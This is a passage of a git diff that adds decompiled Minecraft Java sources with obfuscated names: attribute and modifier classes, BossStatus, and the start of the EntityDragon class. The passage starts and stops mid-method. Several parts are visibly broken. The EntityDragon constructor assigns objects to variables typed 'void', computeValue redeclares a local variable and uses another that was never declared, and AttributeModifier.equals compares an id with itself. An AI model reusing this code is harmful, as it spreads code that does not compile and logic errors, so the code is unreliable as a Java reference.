+        if ((!var10) || (p_75462_0_.func_180485_d(var15)))
+        {
+          float var16 = p_75462_0_.func_180484_a(var15);
+          
+          if (var16 > var9)
+          {
+            var9 = var16;
+            var6 = var12;
+            var7 = var18;
+            var8 = var14;
+            var5 = true;
+          }
+        }
+      }
+    }
+    
+    if (var5)
+    {
+      return new Vec3(var6, var7, var8);
+    }
+    
+
+    return null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/attributes/AttributeModifier.java b/src/minecraft/net/minecraft/entity/ai/attributes/AttributeModifier.java
new file mode 100644
index 0000000..745cf0a
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/attributes/AttributeModifier.java
@@ -0,0 +1,113 @@
+package net.minecraft.entity.ai.attributes;
+
+import io.netty.util.internal.ThreadLocalRandom;
+import java.util.UUID;
+import net.minecraft.util.MathHelper;
+import org.apache.commons.lang3.Validate;
+
+
+
+
+
+public class AttributeModifier
+{
+  private final double amount;
+  private final int operation;
+  private final String name;
+  private final UUID id;
+  private boolean isSaved;
+  private static final String __OBFID = "CL_00001564";
+  
+  public AttributeModifier(String p_i1605_1_, double p_i1605_2_, int p_i1605_4_)
+  {
+    this(MathHelper.func_180182_a(ThreadLocalRandom.current()), p_i1605_1_, p_i1605_2_, p_i1605_4_);
+  }
+  
+  public AttributeModifier(UUID p_i1606_1_, String p_i1606_2_, double p_i1606_3_, int p_i1606_5_)
+  {
+    isSaved = true;
+    id = p_i1606_1_;
+    name = p_i1606_2_;
+    amount = p_i1606_3_;
+    operation = p_i1606_5_;
+    Validate.notEmpty(p_i1606_2_, "Modifier name cannot be empty", new Object[0]);
+    Validate.inclusiveBetween(0L, 2L, p_i1606_5_, "Invalid operation");
+  }
+  
+  public UUID getID()
+  {
+    return id;
+  }
+  
+  public String getName()
+  {
+    return name;
+  }
+  
+  public int getOperation()
+  {
+    return operation;
+  }
+  
+  public double getAmount()
+  {
+    return amount;
+  }
+  
+
+
+
+  public boolean isSaved()
+  {
+    return isSaved;
+  }
+  
+
+
+
+  public AttributeModifier setSaved(boolean p_111168_1_)
+  {
+    isSaved = p_111168_1_;
+    return this;
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (this == p_equals_1_)
+    {
+      return true;
+    }
+    if ((p_equals_1_ != null) && (getClass() == p_equals_1_.getClass()))
+    {
+      AttributeModifier var2 = (AttributeModifier)p_equals_1_;
+      
+      if (id != null)
+      {
+        if (!id.equals(id))
+        {
+          return false;
+        }
+      }
+      else if (id != null)
+      {
+        return false;
+      }
+      
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+  public int hashCode()
+  {
+    return id != null ? id.hashCode() : 0;
+  }
+  
+  public String toString()
+  {
+    return "AttributeModifier{amount=" + amount + ", operation=" + operation + ", name='" + name + '\'' + ", id=" + id + ", serialize=" + isSaved + '}';
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/attributes/BaseAttribute.java b/src/minecraft/net/minecraft/entity/ai/attributes/BaseAttribute.java
new file mode 100644
index 0000000..84857d7
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/attributes/BaseAttribute.java
@@ -0,0 +1,58 @@
+package net.minecraft.entity.ai.attributes;
+
+public abstract class BaseAttribute implements IAttribute
+{
+  private final IAttribute field_180373_a;
+  private final String unlocalizedName;
+  private final double defaultValue;
+  private boolean shouldWatch;
+  private static final String __OBFID = "CL_00001565";
+  
+  protected BaseAttribute(IAttribute p_i45892_1_, String p_i45892_2_, double p_i45892_3_)
+  {
+    field_180373_a = p_i45892_1_;
+    unlocalizedName = p_i45892_2_;
+    defaultValue = p_i45892_3_;
+    
+    if (p_i45892_2_ == null)
+    {
+      throw new IllegalArgumentException("Name cannot be null!");
+    }
+  }
+  
+  public String getAttributeUnlocalizedName()
+  {
+    return unlocalizedName;
+  }
+  
+  public double getDefaultValue()
+  {
+    return defaultValue;
+  }
+  
+  public boolean getShouldWatch()
+  {
+    return shouldWatch;
+  }
+  
+  public BaseAttribute setShouldWatch(boolean p_111112_1_)
+  {
+    shouldWatch = p_111112_1_;
+    return this;
+  }
+  
+  public IAttribute func_180372_d()
+  {
+    return field_180373_a;
+  }
+  
+  public int hashCode()
+  {
+    return unlocalizedName.hashCode();
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    return ((p_equals_1_ instanceof IAttribute)) && (unlocalizedName.equals(((IAttribute)p_equals_1_).getAttributeUnlocalizedName()));
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/attributes/BaseAttributeMap.java b/src/minecraft/net/minecraft/entity/ai/attributes/BaseAttributeMap.java
new file mode 100644
index 0000000..2376889
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/attributes/BaseAttributeMap.java
@@ -0,0 +1,94 @@
+package net.minecraft.entity.ai.attributes;
+
+import com.google.common.collect.HashMultimap;
+import com.google.common.collect.Maps;
+import com.google.common.collect.Multimap;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import net.minecraft.server.management.LowerStringMap;
+
+public abstract class BaseAttributeMap
+{
+  protected final Map attributes = Maps.newHashMap();
+  protected final Map attributesByName = new LowerStringMap();
+  protected final Multimap field_180377_c = HashMultimap.create();
+  private static final String __OBFID = "CL_00001566";
+  
+  public BaseAttributeMap() {}
+  
+  public IAttributeInstance getAttributeInstance(IAttribute p_111151_1_) { return (IAttributeInstance)attributes.get(p_111151_1_); }
+  
+
+  public IAttributeInstance getAttributeInstanceByName(String p_111152_1_)
+  {
+    return (IAttributeInstance)attributesByName.get(p_111152_1_);
+  }
+  
+
+
+
+  public IAttributeInstance registerAttribute(IAttribute p_111150_1_)
+  {
+    if (attributesByName.containsKey(p_111150_1_.getAttributeUnlocalizedName()))
+    {
+      throw new IllegalArgumentException("Attribute is already registered!");
+    }
+    
+
+    IAttributeInstance var2 = func_180376_c(p_111150_1_);
+    attributesByName.put(p_111150_1_.getAttributeUnlocalizedName(), var2);
+    attributes.put(p_111150_1_, var2);
+    
+    for (IAttribute var3 = p_111150_1_.func_180372_d(); var3 != null; var3 = var3.func_180372_d())
+    {
+      field_180377_c.put(var3, p_111150_1_);
+    }
+    
+    return var2;
+  }
+  
+
+  protected abstract IAttributeInstance func_180376_c(IAttribute paramIAttribute);
+  
+  public Collection getAllAttributes()
+  {
+    return attributesByName.values();
+  }
+  
+  public void func_180794_a(IAttributeInstance p_180794_1_) {}
+  
+  public void removeAttributeModifiers(Multimap p_111148_1_)
+  {
+    Iterator var2 = p_111148_1_.entries().iterator();
+    
+    while (var2.hasNext())
+    {
+      Map.Entry var3 = (Map.Entry)var2.next();
+      IAttributeInstance var4 = getAttributeInstanceByName((String)var3.getKey());
+      
+      if (var4 != null)
+      {
+        var4.removeModifier((AttributeModifier)var3.getValue());
+      }
+    }
+  }
+  
+  public void applyAttributeModifiers(Multimap p_111147_1_)
+  {
+    Iterator var2 = p_111147_1_.entries().iterator();
+    
+    while (var2.hasNext())
+    {
+      Map.Entry var3 = (Map.Entry)var2.next();
+      IAttributeInstance var4 = getAttributeInstanceByName((String)var3.getKey());
+      
+      if (var4 != null)
+      {
+        var4.removeModifier((AttributeModifier)var3.getValue());
+        var4.applyModifier((AttributeModifier)var3.getValue());
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/attributes/IAttribute.java b/src/minecraft/net/minecraft/entity/ai/attributes/IAttribute.java
new file mode 100644
index 0000000..930a498
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/attributes/IAttribute.java
@@ -0,0 +1,14 @@
+package net.minecraft.entity.ai.attributes;
+
+public abstract interface IAttribute
+{
+  public abstract String getAttributeUnlocalizedName();
+  
+  public abstract double clampValue(double paramDouble);
+  
+  public abstract double getDefaultValue();
+  
+  public abstract boolean getShouldWatch();
+  
+  public abstract IAttribute func_180372_d();
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/attributes/IAttributeInstance.java b/src/minecraft/net/minecraft/entity/ai/attributes/IAttributeInstance.java
new file mode 100644
index 0000000..336acce
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/attributes/IAttributeInstance.java
@@ -0,0 +1,29 @@
+package net.minecraft.entity.ai.attributes;
+
+import java.util.Collection;
+import java.util.UUID;
+
+public abstract interface IAttributeInstance
+{
+  public abstract IAttribute getAttribute();
+  
+  public abstract double getBaseValue();
+  
+  public abstract void setBaseValue(double paramDouble);
+  
+  public abstract Collection getModifiersByOperation(int paramInt);
+  
+  public abstract Collection func_111122_c();
+  
+  public abstract boolean func_180374_a(AttributeModifier paramAttributeModifier);
+  
+  public abstract AttributeModifier getModifier(UUID paramUUID);
+  
+  public abstract void applyModifier(AttributeModifier paramAttributeModifier);
+  
+  public abstract void removeModifier(AttributeModifier paramAttributeModifier);
+  
+  public abstract void removeAllModifiers();
+  
+  public abstract double getAttributeValue();
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/attributes/ModifiableAttributeInstance.java b/src/minecraft/net/minecraft/entity/ai/attributes/ModifiableAttributeInstance.java
new file mode 100644
index 0000000..79831c6
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/attributes/ModifiableAttributeInstance.java
@@ -0,0 +1,217 @@
+package net.minecraft.entity.ai.attributes;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import com.google.common.collect.Sets;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+import java.util.UUID;
+
+
+
+public class ModifiableAttributeInstance
+  implements IAttributeInstance
+{
+  private final BaseAttributeMap attributeMap;
+  private final IAttribute genericAttribute;
+  private final Map mapByOperation = Maps.newHashMap();
+  private final Map mapByName = Maps.newHashMap();
+  private final Map mapByUUID = Maps.newHashMap();
+  private double baseValue;
+  private boolean needsUpdate = true;
+  private double cachedValue;
+  private static final String __OBFID = "CL_00001567";
+  
+  public ModifiableAttributeInstance(BaseAttributeMap p_i1608_1_, IAttribute p_i1608_2_)
+  {
+    attributeMap = p_i1608_1_;
+    genericAttribute = p_i1608_2_;
+    baseValue = p_i1608_2_.getDefaultValue();
+    
+    for (int var3 = 0; var3 < 3; var3++)
+    {
+      mapByOperation.put(Integer.valueOf(var3), Sets.newHashSet());
+    }
+  }
+  
+
+
+
+  public IAttribute getAttribute()
+  {
+    return genericAttribute;
+  }
+  
+  public double getBaseValue()
+  {
+    return baseValue;
+  }
+  
+  public void setBaseValue(double p_111128_1_)
+  {
+    if (p_111128_1_ != getBaseValue())
+    {
+      baseValue = p_111128_1_;
+      flagForUpdate();
+    }
+  }
+  
+  public Collection getModifiersByOperation(int p_111130_1_)
+  {
+    return (Collection)mapByOperation.get(Integer.valueOf(p_111130_1_));
+  }
+  
+  public Collection func_111122_c()
+  {
+    HashSet var1 = Sets.newHashSet();
+    
+    for (int var2 = 0; var2 < 3; var2++)
+    {
+      var1.addAll(getModifiersByOperation(var2));
+    }
+    
+    return var1;
+  }
+  
+
+
+
+  public AttributeModifier getModifier(UUID p_111127_1_)
+  {
+    return (AttributeModifier)mapByUUID.get(p_111127_1_);
+  }
+  
+  public boolean func_180374_a(AttributeModifier p_180374_1_)
+  {
+    return mapByUUID.get(p_180374_1_.getID()) != null;
+  }
+  
+  public void applyModifier(AttributeModifier p_111121_1_)
+  {
+    if (getModifier(p_111121_1_.getID()) != null)
+    {
+      throw new IllegalArgumentException("Modifier is already applied on this attribute!");
+    }
+    
+
+    Object var2 = (Set)mapByName.get(p_111121_1_.getName());
+    
+    if (var2 == null)
+    {
+      var2 = Sets.newHashSet();
+      mapByName.put(p_111121_1_.getName(), var2);
+    }
+    
+    ((Set)mapByOperation.get(Integer.valueOf(p_111121_1_.getOperation()))).add(p_111121_1_);
+    ((Set)var2).add(p_111121_1_);
+    mapByUUID.put(p_111121_1_.getID(), p_111121_1_);
+    flagForUpdate();
+  }
+  
+
+  protected void flagForUpdate()
+  {
+    needsUpdate = true;
+    attributeMap.func_180794_a(this);
+  }
+  
+  public void removeModifier(AttributeModifier p_111124_1_)
+  {
+    for (int var2 = 0; var2 < 3; var2++)
+    {
+      Set var3 = (Set)mapByOperation.get(Integer.valueOf(var2));
+      var3.remove(p_111124_1_);
+    }
+    
+    Set var4 = (Set)mapByName.get(p_111124_1_.getName());
+    
+    if (var4 != null)
+    {
+      var4.remove(p_111124_1_);
+      
+      if (var4.isEmpty())
+      {
+        mapByName.remove(p_111124_1_.getName());
+      }
+    }
+    
+    mapByUUID.remove(p_111124_1_.getID());
+    flagForUpdate();
+  }
+  
+  public void removeAllModifiers()
+  {
+    Collection var1 = func_111122_c();
+    
+    if (var1 != null)
+    {
+      ArrayList var4 = Lists.newArrayList(var1);
+      Iterator var2 = var4.iterator();
+      
+      while (var2.hasNext())
+      {
+        AttributeModifier var3 = (AttributeModifier)var2.next();
+        removeModifier(var3);
+      }
+    }
+  }
+  
+  public double getAttributeValue()
+  {
+    if (needsUpdate)
+    {
+      cachedValue = computeValue();
+      needsUpdate = false;
+    }
+    
+    return cachedValue;
+  }
+  
+  private double computeValue()
+  {
+    double var1 = getBaseValue();
+    
+    AttributeModifier var4;
+    for (Iterator var3 = func_180375_b(0).iterator(); var3.hasNext(); var1 += var4.getAmount())
+    {
+      var4 = (AttributeModifier)var3.next();
+    }
+    
+    double var7 = var1;
+    
+    AttributeModifier var6;
+    
+    for (Iterator var5 = func_180375_b(1).iterator(); var5.hasNext(); var7 += var1 * var6.getAmount())
+    {
+      var6 = (AttributeModifier)var5.next();
+    }
+    AttributeModifier var6;
+    for (var5 = func_180375_b(2).iterator(); var5.hasNext(); var7 *= (1.0D + var6.getAmount()))
+    {
+      var6 = (AttributeModifier)var5.next();
+    }
+    
+    return genericAttribute.clampValue(var7);
+  }
+  
+  private Collection func_180375_b(int p_180375_1_)
+  {
+    HashSet var2 = Sets.newHashSet(getModifiersByOperation(p_180375_1_));
+    
+    for (IAttribute var3 = genericAttribute.func_180372_d(); var3 != null; var3 = var3.func_180372_d())
+    {
+      IAttributeInstance var4 = attributeMap.getAttributeInstance(var3);
+      
+      if (var4 != null)
+      {
+        var2.addAll(var4.getModifiersByOperation(p_180375_1_));
+      }
+    }
+    
+    return var2;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/attributes/RangedAttribute.java b/src/minecraft/net/minecraft/entity/ai/attributes/RangedAttribute.java
new file mode 100644
index 0000000..f65ef29
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/attributes/RangedAttribute.java
@@ -0,0 +1,48 @@
+package net.minecraft.entity.ai.attributes;
+
+import net.minecraft.util.MathHelper;
+
+public class RangedAttribute extends BaseAttribute
+{
+  private final double minimumValue;
+  private final double maximumValue;
+  private String description;
+  private static final String __OBFID = "CL_00001568";
+  
+  public RangedAttribute(IAttribute p_i45891_1_, String p_i45891_2_, double p_i45891_3_, double p_i45891_5_, double p_i45891_7_)
+  {
+    super(p_i45891_1_, p_i45891_2_, p_i45891_3_);
+    minimumValue = p_i45891_5_;
+    maximumValue = p_i45891_7_;
+    
+    if (p_i45891_5_ > p_i45891_7_)
+    {
+      throw new IllegalArgumentException("Minimum value cannot be bigger than maximum value!");
+    }
+    if (p_i45891_3_ < p_i45891_5_)
+    {
+      throw new IllegalArgumentException("Default value cannot be lower than minimum value!");
+    }
+    if (p_i45891_3_ > p_i45891_7_)
+    {
+      throw new IllegalArgumentException("Default value cannot be bigger than maximum value!");
+    }
+  }
+  
+  public RangedAttribute setDescription(String p_111117_1_)
+  {
+    description = p_111117_1_;
+    return this;
+  }
+  
+  public String getDescription()
+  {
+    return description;
+  }
+  
+  public double clampValue(double p_111109_1_)
+  {
+    p_111109_1_ = MathHelper.clamp_double(p_111109_1_, minimumValue, maximumValue);
+    return p_111109_1_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/attributes/ServersideAttributeMap.java b/src/minecraft/net/minecraft/entity/ai/attributes/ServersideAttributeMap.java
new file mode 100644
index 0000000..3b201da
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/attributes/ServersideAttributeMap.java
@@ -0,0 +1,107 @@
+package net.minecraft.entity.ai.attributes;
+
+import com.google.common.collect.Sets;
+import java.util.Collection;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+import net.minecraft.server.management.LowerStringMap;
+
+public class ServersideAttributeMap extends BaseAttributeMap
+{
+  private final Set attributeInstanceSet = Sets.newHashSet();
+  protected final Map descriptionToAttributeInstanceMap = new LowerStringMap();
+  private static final String __OBFID = "CL_00001569";
+  
+  public ServersideAttributeMap() {}
+  
+  public ModifiableAttributeInstance func_180795_e(IAttribute p_180795_1_) { return (ModifiableAttributeInstance)super.getAttributeInstance(p_180795_1_); }
+  
+
+  public ModifiableAttributeInstance func_180796_b(String p_180796_1_)
+  {
+    IAttributeInstance var2 = super.getAttributeInstanceByName(p_180796_1_);
+    
+    if (var2 == null)
+    {
+      var2 = (IAttributeInstance)descriptionToAttributeInstanceMap.get(p_180796_1_);
+    }
+    
+    return (ModifiableAttributeInstance)var2;
+  }
+  
+
+
+
+  public IAttributeInstance registerAttribute(IAttribute p_111150_1_)
+  {
+    IAttributeInstance var2 = super.registerAttribute(p_111150_1_);
+    
+    if (((p_111150_1_ instanceof RangedAttribute)) && (((RangedAttribute)p_111150_1_).getDescription() != null))
+    {
+      descriptionToAttributeInstanceMap.put(((RangedAttribute)p_111150_1_).getDescription(), var2);
+    }
+    
+    return var2;
+  }
+  
+  protected IAttributeInstance func_180376_c(IAttribute p_180376_1_)
+  {
+    return new ModifiableAttributeInstance(this, p_180376_1_);
+  }
+  
+  public void func_180794_a(IAttributeInstance p_180794_1_)
+  {
+    if (p_180794_1_.getAttribute().getShouldWatch())
+    {
+      attributeInstanceSet.add(p_180794_1_);
+    }
+    
+    Iterator var2 = field_180377_c.get(p_180794_1_.getAttribute()).iterator();
+    
+    while (var2.hasNext())
+    {
+      IAttribute var3 = (IAttribute)var2.next();
+      ModifiableAttributeInstance var4 = func_180795_e(var3);
+      
+      if (var4 != null)
+      {
+        var4.flagForUpdate();
+      }
+    }
+  }
+  
+  public Set getAttributeInstanceSet()
+  {
+    return attributeInstanceSet;
+  }
+  
+  public Collection getWatchedAttributes()
+  {
+    HashSet var1 = Sets.newHashSet();
+    Iterator var2 = getAllAttributes().iterator();
+    
+    while (var2.hasNext())
+    {
+      IAttributeInstance var3 = (IAttributeInstance)var2.next();
+      
+      if (var3.getAttribute().getShouldWatch())
+      {
+        var1.add(var3);
+      }
+    }
+    
+    return var1;
+  }
+  
+  public IAttributeInstance getAttributeInstanceByName(String p_111152_1_)
+  {
+    return func_180796_b(p_111152_1_);
+  }
+  
+  public IAttributeInstance getAttributeInstance(IAttribute p_111151_1_)
+  {
+    return func_180795_e(p_111151_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/boss/BossStatus.java b/src/minecraft/net/minecraft/entity/boss/BossStatus.java
new file mode 100644
index 0000000..65960ac
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/boss/BossStatus.java
@@ -0,0 +1,18 @@
+package net.minecraft.entity.boss;
+
+import net.minecraft.util.IChatComponent;
+
+public final class BossStatus { public static float healthScale;
+  public static int statusBarTime;
+  public static String bossName;
+  public static boolean hasColorModifier;
+  private static final String __OBFID = "CL_00000941";
+  
+  public BossStatus() {}
+  
+  public static void setBossStatus(IBossDisplayData p_82824_0_, boolean p_82824_1_) { healthScale = p_82824_0_.getHealth() / p_82824_0_.getMaxHealth();
+    statusBarTime = 100;
+    bossName = p_82824_0_.getDisplayName().getFormattedText();
+    hasColorModifier = p_82824_1_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/boss/EntityDragon.java b/src/minecraft/net/minecraft/entity/boss/EntityDragon.java
new file mode 100644
index 0000000..641c327
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/boss/EntityDragon.java
@@ -0,0 +1,775 @@
+package net.minecraft.entity.boss;
+
+import com.google.common.collect.Lists;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockTorch;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.IEntityMultiPart;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.item.EntityEnderCrystal;
+import net.minecraft.entity.item.EntityXPOrb;
+import net.minecraft.entity.monster.IMob;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.EntityDamageSource;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.GameRules;
+import net.minecraft.world.World;
+
+public class EntityDragon
+  extends EntityLiving implements IBossDisplayData, IEntityMultiPart, IMob
+{
+  public double targetX;
+  public double targetY;
+  public double targetZ;
+  public double[][] ringBuffer = new double[64][3];
+  
+
+
+
+  public int ringBufferIndex = -1;
+  
+
+  public EntityDragonPart[] dragonPartArray;
+  
+
+  public EntityDragonPart dragonPartHead;
+  
+
+  public EntityDragonPart dragonPartBody;
+  
+  public EntityDragonPart dragonPartTail1;
+  
+  public EntityDragonPart dragonPartTail2;
+  
+  public EntityDragonPart dragonPartTail3;
+  
+  public EntityDragonPart dragonPartWing1;
+  
+  public EntityDragonPart dragonPartWing2;
+  
+  public float prevAnimTime;
+  
+  public float animTime;
+  
+  public boolean forceNewTarget;
+  
+  public boolean slowed;
+  
+  private Entity target;
+  
+  public int deathTicks;
+  
+  public EntityEnderCrystal healingEnderCrystal;
+  
+  private static final String __OBFID = "CL_00001659";
+  
+
+  public EntityDragon(World worldIn)
+  {
+    super(worldIn); EntityDragonPart[] 
+      tmp27_24 = new EntityDragonPart[7]; void tmp44_41 = new EntityDragonPart(this, "head", 6.0F, 6.0F);dragonPartHead = tmp44_41;tmp27_24[0] = tmp44_41; EntityDragonPart[] tmp49_27 = tmp27_24; void tmp66_63 = new EntityDragonPart(this, "body", 8.0F, 8.0F);dragonPartBody = tmp66_63;tmp49_27[1] = tmp66_63; EntityDragonPart[] tmp71_49 = tmp49_27; void tmp88_85 = new EntityDragonPart(this, "tail", 4.0F, 4.0F);dragonPartTail1 = tmp88_85;tmp71_49[2] = tmp88_85; EntityDragonPart[] tmp93_71 = tmp71_49; void tmp110_107 = new EntityDragonPart(this, "tail", 4.0F, 4.0F);dragonPartTail2 = tmp110_107;tmp93_71[3] = tmp110_107; EntityDragonPart[] tmp115_93 = tmp93_71; void tmp132_129 = new EntityDragonPart(this, "tail", 4.0F, 4.0F);dragonPartTail3 = tmp132_129;tmp115_93[4] = tmp132_129; EntityDragonPart[] tmp137_115 = tmp115_93; void tmp154_151 = new EntityDragonPart(this, "wing", 4.0F, 4.0F);dragonPartWing1 = tmp154_151;tmp137_115[5] = tmp154_151; EntityDragonPart[] tmp159_137 = tmp137_115; void tmp177_174 = new EntityDragonPart(this, "wing", 4.0F, 4.0F);dragonPartWing2 = tmp177_174;tmp159_137[6] = tmp177_174;dragonPartArray = tmp159_137;
+    setHealth(getMaxHealth());
+    setSize(16.0F, 8.0F);
+    noClip = true;
+    isImmuneToFire = true;
+    targetY = 100.0D;
+    ignoreFrustumCheck = true;
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getEntityAttribute(SharedMonsterAttributes.maxHealth).setBaseValue(200.0D);
+  }
+  
+  protected void entityInit()
+  {
+    super.entityInit();
+  }
+  
+
+
+
+
+  public double[] getMovementOffsets(int p_70974_1_, float p_70974_2_)
+  {
+    if (getHealth() <= 0.0F)
+    {
+      p_70974_2_ = 0.0F;
+    }
+    
+    p_70974_2_ = 1.0F - p_70974_2_;
+    int var3 = ringBufferIndex - p_70974_1_ * 1 & 0x3F;
+    int var4 = ringBufferIndex - p_70974_1_ * 1 - 1 & 0x3F;
+    double[] var5 = new double[3];
+    double var6 = ringBuffer[var3][0];
+    double var8 = MathHelper.wrapAngleTo180_double(ringBuffer[var4][0] - var6);
+    var5[0] = (var6 + var8 * p_70974_2_);
+    var6 = ringBuffer[var3][1];
+    var8 = ringBuffer[var4][1] - var6;
+    var5[1] = (var6 + var8 * p_70974_2_);
+    var5[2] = (ringBuffer[var3][2] + (ringBuffer[var4][2] - ringBuffer[var3][2]) * p_70974_2_);
+    return var5;
+  }
+  
+
+
+
+
+
+
+
+  public void onLivingUpdate()
+  {
+    if (worldObj.isRemote)
+    {
+      float var1 = MathHelper.cos(animTime * 3.1415927F * 2.0F);
+      float var2 = MathHelper.cos(prevAnimTime * 3.1415927F * 2.0F);
+      
+      if ((var2 <= -0.3F) && (var1 >= -0.3F) && (!isSlient()))
+      {
+        worldObj.playSound(posX, posY, posZ, "mob.enderdragon.wings", 5.0F, 0.8F + rand.nextFloat() * 0.3F, false);
+      }
+    }
+    
+    prevAnimTime = animTime;
+    
+
+    if (getHealth() <= 0.0F)
+    {
+      float var1 = (rand.nextFloat() - 0.5F) * 8.0F;
+      float var2 = (rand.nextFloat() - 0.5F) * 4.0F;
+      float var3 = (rand.nextFloat() - 0.5F) * 8.0F;
+      worldObj.spawnParticle(EnumParticleTypes.EXPLOSION_LARGE, posX + var1, posY + 2.0D + var2, posZ + var3, 0.0D, 0.0D, 0.0D, new int[0]);
+    }
+    else
+    {
+      updateDragonEnderCrystal();
+      float var1 = 0.2F / (MathHelper.sqrt_double(motionX * motionX + motionZ * motionZ) * 10.0F + 1.0F);
+      var1 *= (float)Math.pow(2.0D, motionY);
+      
+      if (slowed)
+      {
+        animTime += var1 * 0.5F;
+      }
+      else
+      {
+        animTime += var1;
+      }
+      
+      rotationYaw = MathHelper.wrapAngleTo180_float(rotationYaw);
+      
+      if (ringBufferIndex < 0)
+      {
+        for (int var27 = 0; var27 < ringBuffer.length; var27++)
+        {
+          ringBuffer[var27][0] = rotationYaw;
+          ringBuffer[var27][1] = posY;
+        }
+      }
+      
+      if (++ringBufferIndex == ringBuffer.length)
+      {
+        ringBufferIndex = 0;
+      }
+      
+      ringBuffer[ringBufferIndex][0] = rotationYaw;
+      ringBuffer[ringBufferIndex][1] = posY;
+      
+
+
+
+
+
+      if (worldObj.isRemote)
+      {
+        if (newPosRotationIncrements > 0)
+        {
+          double var28 = posX + (newPosX - posX) / newPosRotationIncrements;
+          double var4 = posY + (newPosY - posY) / newPosRotationIncrements;
+          double var6 = posZ + (newPosZ - posZ) / newPosRotationIncrements;
+          double var8 = MathHelper.wrapAngleTo180_double(newRotationYaw - rotationYaw);
+          rotationYaw = ((float)(rotationYaw + var8 / newPosRotationIncrements));
+          rotationPitch = ((float)(rotationPitch + (newRotationPitch - rotationPitch) / newPosRotationIncrements));
+          newPosRotationIncrements -= 1;
+          setPosition(var28, var4, var6);
+          setRotation(rotationYaw, rotationPitch);
+        }
+      }
+      else
+      {
+        double var28 = targetX - posX;
+        double var4 = targetY - posY;
+        double var6 = targetZ - posZ;
+        double var8 = var28 * var28 + var4 * var4 + var6 * var6;
+        
+
+        if (target != null)
+        {
+          targetX = target.posX;
+          targetZ = target.posZ;
+          double var10 = targetX - posX;
+          double var12 = targetZ - posZ;
+          double var14 = Math.sqrt(var10 * var10 + var12 * var12);
+          double var16 = 0.4000000059604645D + var14 / 80.0D - 1.0D;
+          
+          if (var16 > 10.0D)
+          {
+            var16 = 10.0D;
+          }
+          
+          targetY = (target.getEntityBoundingBox().minY + var16);
+        }
+        else
+        {
+          targetX += rand.nextGaussian() * 2.0D;
+          targetZ += rand.nextGaussian() * 2.0D;
+        }
+        
+        if ((forceNewTarget) || (var8 < 100.0D) || (var8 > 22500.0D) || (isCollidedHorizontally) || (isCollidedVertically))
+        {
+          setNewTarget();
+        }
+        
+        var4 /= MathHelper.sqrt_double(var28 * var28 + var6 * var6);
+        float var33 = 0.6F;
+        var4 = MathHelper.clamp_double(var4, -var33, var33);
+        motionY += var4 * 0.10000000149011612D;
+        rotationYaw = MathHelper.wrapAngleTo180_float(rotationYaw);
+        double var11 = 180.0D - Math.atan2(var28, var6) * 180.0D / 3.141592653589793D;
+        double var13 = MathHelper.wrapAngleTo180_double(var11 - rotationYaw);
+        
+        if (var13 > 50.0D)
+        {
+          var13 = 50.0D;
+        }
+        
+        if (var13 < -50.0D)
+        {
+          var13 = -50.0D;
+        }
+        
+        Vec3 var15 = new Vec3(targetX - posX, targetY - posY, targetZ - posZ).normalize();
+        double var16 = -MathHelper.cos(rotationYaw * 3.1415927F / 180.0F);
+        Vec3 var18 = new Vec3(MathHelper.sin(rotationYaw * 3.1415927F / 180.0F), motionY, var16).normalize();
+        float var19 = ((float)var18.dotProduct(var15) + 0.5F) / 1.5F;
+        
+        if (var19 < 0.0F)
+        {
+          var19 = 0.0F;
+        }
+        
+        randomYawVelocity *= 0.8F;
+        float var20 = MathHelper.sqrt_double(motionX * motionX + motionZ * motionZ) * 1.0F + 1.0F;
+        double var21 = Math.sqrt(motionX * motionX + motionZ * motionZ) * 1.0D + 1.0D;
+        
+        if (var21 > 40.0D)
+        {
+          var21 = 40.0D;
+        }
+        
+        randomYawVelocity = ((float)(randomYawVelocity + var13 * (0.699999988079071D / var21 / var20)));
+        rotationYaw += randomYawVelocity * 0.1F;
+        float var23 = (float)(2.0D / (var21 + 1.0D));
+        float var24 = 0.06F;
